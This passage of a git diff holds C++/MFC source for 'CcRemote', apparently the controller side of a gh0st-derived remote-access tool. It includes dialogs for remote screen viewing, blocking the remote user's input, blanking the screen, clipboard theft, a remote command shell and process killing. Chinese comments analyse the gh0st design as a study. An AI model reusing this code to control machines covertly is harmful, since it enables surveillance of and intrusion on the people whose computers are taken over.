pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_BLANK_SCREEN: // 服务端黑屏
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
|
||||
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLANK;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_CAPTURE_LAYER: // 捕捉层
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
|
||||
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SAVEDIB:
|
||||
SaveSnapshot();
|
||||
break;
|
||||
case IDM_GET_CLIPBOARD: // 获取剪贴板
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SET_CLIPBOARD: // 设置剪贴板
|
||||
{
|
||||
SendLocalClipboard();
|
||||
}
|
||||
break;
|
||||
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
|
||||
{
|
||||
SendResetAlgorithm(ALGORITHM_SCAN);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_ALGORITHM_DIFF: // 差异比较算法
|
||||
{
|
||||
SendResetAlgorithm(ALGORITHM_DIFF);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_1:
|
||||
{
|
||||
SendResetScreen(1);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_4_GRAY:
|
||||
{
|
||||
SendResetScreen(3);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_4_COLOR:
|
||||
{
|
||||
SendResetScreen(4);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_8_GRAY:
|
||||
{
|
||||
SendResetScreen(7);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_8_COLOR:
|
||||
{
|
||||
SendResetScreen(8);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_16:
|
||||
{
|
||||
SendResetScreen(16);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_32:
|
||||
{
|
||||
SendResetScreen(32);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
|
||||
|
||||
bool CScreenSpyDlg::SaveSnapshot(void)
|
||||
{
|
||||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||||
CFileDialog dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return false;
|
||||
|
||||
BITMAPFILEHEADER hdr;
|
||||
LPBITMAPINFO lpbi = m_lpbmi;
|
||||
CFile file;
|
||||
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
MessageBox("文件保存失败");
|
||||
return false;
|
||||
}
|
||||
|
||||
// BITMAPINFO大小
|
||||
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||||
|
||||
// Fill in the fields of the file header
|
||||
hdr.bfType = ((WORD)('M' << 8) | 'B'); // is always "BM"
|
||||
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
|
||||
hdr.bfReserved1 = 0;
|
||||
hdr.bfReserved2 = 0;
|
||||
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
|
||||
// Write the file header
|
||||
file.Write(&hdr, sizeof(hdr));
|
||||
file.Write(lpbi, nbmiSize);
|
||||
// Write the DIB header and the bits
|
||||
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
void CScreenSpyDlg::SendLocalClipboard(void)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||||
if (hglb == NULL)
|
||||
{
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int nPacketLen = GlobalSize(hglb) + 1;
|
||||
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
|
||||
LPBYTE lpData = new BYTE[nPacketLen];
|
||||
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
|
||||
{
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_ALGORITHM_RESET;
|
||||
bBuff[1] = nAlgorithm;
|
||||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendResetScreen(int nBitCount)
|
||||
{
|
||||
|
||||
m_nBitCount = nBitCount;
|
||||
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_SCREEN_RESET;
|
||||
bBuff[1] = m_nBitCount;
|
||||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||||
}
|
||||
72
CcRemote/CcRemote/CScreenSpyDlg.h
Normal file
72
CcRemote/CcRemote/CScreenSpyDlg.h
Normal file
@@ -0,0 +1,72 @@
|
||||
#pragma once
|
||||
|
||||
#include "include/IOCPServer.h"
|
||||
#include "..\..\common\CursorInfo.h"
|
||||
// CScreenSpyDlg 对话框
|
||||
|
||||
class CScreenSpyDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||
|
||||
public:
|
||||
CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CScreenSpyDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_SCREENSPY };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
int m_nBitCount;
|
||||
bool m_bIsFirst;
|
||||
bool m_bIsTraceCursor;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
HICON m_hIcon;
|
||||
MINMAXINFO m_MMI;
|
||||
HDC m_hDC, m_hMemDC, m_hPaintDC;
|
||||
HBITMAP m_hFullBitmap;
|
||||
LPVOID m_lpScreenDIB;
|
||||
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
|
||||
UINT m_nCount;
|
||||
UINT m_HScrollPos, m_VScrollPos;
|
||||
HCURSOR m_hRemoteCursor;
|
||||
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
|
||||
POINT m_RemoteCursorPos;
|
||||
BYTE m_bCursorIndex;
|
||||
CCursorInfo m_CursorInfo;
|
||||
bool m_bIsCtrl;
|
||||
public:
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
void InitMMI(void);
|
||||
void SendNext(void);
|
||||
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
|
||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
private:
|
||||
void DrawTipString(CString str);
|
||||
void UpdateLocalClipboard(char *buf, int len);
|
||||
void SendLocalClipboard(void);
|
||||
public:
|
||||
void OnReceiveComplete(void);
|
||||
void DrawFirstScreen(void);
|
||||
void DrawNextScreenDiff(void);
|
||||
void DrawNextScreenRect(void);
|
||||
void ResetScreen(void);
|
||||
void SendCommand(MSG* pMsg);
|
||||
bool SaveSnapshot(void);
|
||||
void SendResetAlgorithm(UINT nAlgorithm);
|
||||
void SendResetScreen(int nBitCount);
|
||||
|
||||
};
|
||||
54
CcRemote/CcRemote/CSettingDlg.cpp
Normal file
54
CcRemote/CcRemote/CSettingDlg.cpp
Normal file
@@ -0,0 +1,54 @@
|
||||
// CSettingDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CSettingDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CSettingDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSettingDlg, CDialogEx)
|
||||
|
||||
CSettingDlg::CSettingDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_SETTING, pParent)
|
||||
, m_nListernProt(0)
|
||||
, m_nMax_Connect(0)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CSettingDlg::~CSettingDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_nListernProt);
|
||||
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialogEx)
|
||||
ON_BN_CLICKED(IDOK, &CSettingDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CSettingDlg 消息处理程序
|
||||
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedOk()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
|
||||
UpdateData(TRUE);
|
||||
((CCcRemoteApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "ListenPort", m_nListernProt); //向ini文件中写入值
|
||||
((CCcRemoteApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect);
|
||||
MessageBox("设置成功,重启本程序后生效!");
|
||||
|
||||
CDialogEx::OnOK();
|
||||
}
|
||||
30
CcRemote/CcRemote/CSettingDlg.h
Normal file
30
CcRemote/CcRemote/CSettingDlg.h
Normal file
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CSettingDlg 对话框
|
||||
|
||||
class CSettingDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CSettingDlg)
|
||||
|
||||
public:
|
||||
CSettingDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CSettingDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_SETTING };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
afx_msg void OnBnClickedOk();
|
||||
// //监控编辑框对象
|
||||
int m_nListernProt;
|
||||
// //最大连接编辑框对象
|
||||
int m_nMax_Connect;
|
||||
};
|
||||
222
CcRemote/CcRemote/CShellDlg.cpp
Normal file
222
CcRemote/CcRemote/CShellDlg.cpp
Normal file
@@ -0,0 +1,222 @@
|
||||
// CShellDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CShellDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
// CShellDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
||||
|
||||
CShellDlg::CShellDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SHELL, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
m_nCurSel = 0;
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CMDSHELL));
|
||||
}
|
||||
|
||||
CShellDlg::~CShellDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CShellDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_EN_CHANGE(IDC_EDIT, &CShellDlg::OnEnChangeEdit)
|
||||
ON_WM_CTLCOLOR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CShellDlg 消息处理程序
|
||||
|
||||
|
||||
void CShellDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
closesocket(m_pContext->m_Socket);
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
ResizeEdit();
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::ResizeEdit(void)
|
||||
{
|
||||
if (m_edit.m_hWnd == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
RECT rectClient;
|
||||
RECT rectEdit;
|
||||
GetClientRect(&rectClient);
|
||||
rectEdit.left = 0;
|
||||
rectEdit.top = 0;
|
||||
rectEdit.right = rectClient.right;
|
||||
rectEdit.bottom = rectClient.bottom;
|
||||
m_edit.MoveWindow(&rectEdit);
|
||||
}
|
||||
|
||||
|
||||
BOOL CShellDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
//得到当前窗口的数据大小 初始化时这个值应该为0
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
|
||||
//得到服务端的IP并显示到窗口的标题上
|
||||
CString str;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
str.Format("\\\\%s - 远程终端", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||||
SetWindowText(str);
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
|
||||
|
||||
//---------改变窗口大小触发动态调整-------|
|
||||
CRect rect;
|
||||
GetWindowRect(&rect);
|
||||
rect.bottom += 20;
|
||||
MoveWindow(rect);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::OnEnChangeEdit()
|
||||
{
|
||||
// TODO: 如果该控件是 RICHEDIT 控件,它将不
|
||||
// 发送此通知,除非重写 CDialog::OnInitDialog()
|
||||
// 函数并调用 CRichEditCtrl().SetEventMask(),
|
||||
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
if (len < m_nCurSel)
|
||||
m_nCurSel = len;
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
}
|
||||
|
||||
|
||||
HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
// TODO: 在此更改 DC 的任何特性
|
||||
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT))
|
||||
{
|
||||
COLORREF clr = RGB(255, 255, 255);
|
||||
pDC->SetTextColor(clr); //设置白色的文本
|
||||
clr = RGB(0, 0, 0);
|
||||
pDC->SetBkColor(clr); //设置黑色的背景
|
||||
return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄
|
||||
}
|
||||
else
|
||||
{
|
||||
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
}
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::OnReceiveComplete(void)
|
||||
{
|
||||
AddKeyBoardData();
|
||||
m_nReceiveLength = m_edit.GetWindowTextLength();
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::AddKeyBoardData(void)
|
||||
{
|
||||
// 最后填上0
|
||||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
CString strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
|
||||
|
||||
//替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致
|
||||
strResult.Replace("\n", "\r\n");
|
||||
//得到当前窗口的字符个数
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
//将光标定位到该位置并选中指定个数的字符
|
||||
m_edit.SetSel(len, len);
|
||||
//用传递过来的数据替换掉该位置的字符
|
||||
m_edit.ReplaceSel(strResult);
|
||||
//重新得到字符的大小
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
//现在我们基本弄明白了 数据传输到主控端后的处理
|
||||
//那主控端的数据时怎样传递到服务端上的呢??
|
||||
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
|
||||
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: 在此添加专用代码和/或调用基类
|
||||
//如果是键盘按下
|
||||
if (pMsg->message == WM_KEYDOWN)
|
||||
{
|
||||
// 屏蔽VK_ESCAPE、VK_DELETE
|
||||
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
|
||||
return true;
|
||||
//如果是可编辑框的回车键
|
||||
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd)
|
||||
{
|
||||
//得到窗口的数据大小
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
CString str;
|
||||
//得到窗口的字符数据
|
||||
m_edit.GetWindowText(str);
|
||||
//加入换行符
|
||||
str += "\r\n";
|
||||
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了
|
||||
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
}
|
||||
// 限制VK_BACK
|
||||
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd)
|
||||
{
|
||||
if (m_edit.GetWindowTextLength() <= m_nReceiveLength)
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Ctrl没按下
|
||||
if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0)
|
||||
{
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
// 用户删除了部分内容,改变m_nCurSel
|
||||
if (len < m_nCurSel)
|
||||
m_nCurSel = len;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
46
CcRemote/CcRemote/CShellDlg.h
Normal file
46
CcRemote/CcRemote/CShellDlg.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
#include "include/IOCPServer.h"
|
||||
|
||||
// CShellDlg 对话框
|
||||
|
||||
class CShellDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CShellDlg)
|
||||
|
||||
public:
|
||||
CShellDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CShellDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_SHELL };
|
||||
#endif
|
||||
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_edit;
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
UINT m_nCurSel;
|
||||
UINT m_nReceiveLength;
|
||||
public:
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
void ResizeEdit(void);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnEnChangeEdit();
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
|
||||
void OnReceiveComplete(void);
|
||||
private:
|
||||
void AddKeyBoardData(void);
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
};
|
||||
447
CcRemote/CcRemote/CSystemDlg.cpp
Normal file
447
CcRemote/CcRemote/CSystemDlg.cpp
Normal file
@@ -0,0 +1,447 @@
|
||||
// CSystemDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CSystemDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
// CSystemDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SYSTEM, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer; //参数赋值给成员变量
|
||||
m_pContext = pContext;
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
|
||||
//这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST
|
||||
//窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分
|
||||
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0));
|
||||
m_caseSyetemIs = lpBuffer[0];
|
||||
}
|
||||
|
||||
CSystemDlg::~CSystemDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_WM_SIZE()
|
||||
ON_WM_CLOSE()
|
||||
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
|
||||
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess)
|
||||
ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost)
|
||||
ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide)
|
||||
ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax)
|
||||
ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin)
|
||||
ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn)
|
||||
ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CSystemDlg 消息处理程序
|
||||
|
||||
void CSystemDlg::AdjustList(void)
|
||||
{
|
||||
if (m_list_process_or_windows.m_hWnd == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
RECT rectClient;
|
||||
RECT rectList;
|
||||
GetClientRect(&rectClient);
|
||||
rectList.left = 0;
|
||||
rectList.top = 0;
|
||||
rectList.right = rectClient.right;
|
||||
rectList.bottom = rectClient.bottom;
|
||||
|
||||
m_list_process_or_windows.MoveWindow(&rectList);
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
AdjustList();
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void CSystemDlg::GetProcessList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_PSLIST;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
BOOL CSystemDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
|
||||
CString str;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip
|
||||
str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||||
SetWindowText(str);//设置对话框标题
|
||||
|
||||
|
||||
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
|
||||
{
|
||||
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
|
||||
m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
|
||||
m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
|
||||
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
|
||||
}
|
||||
else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表
|
||||
{
|
||||
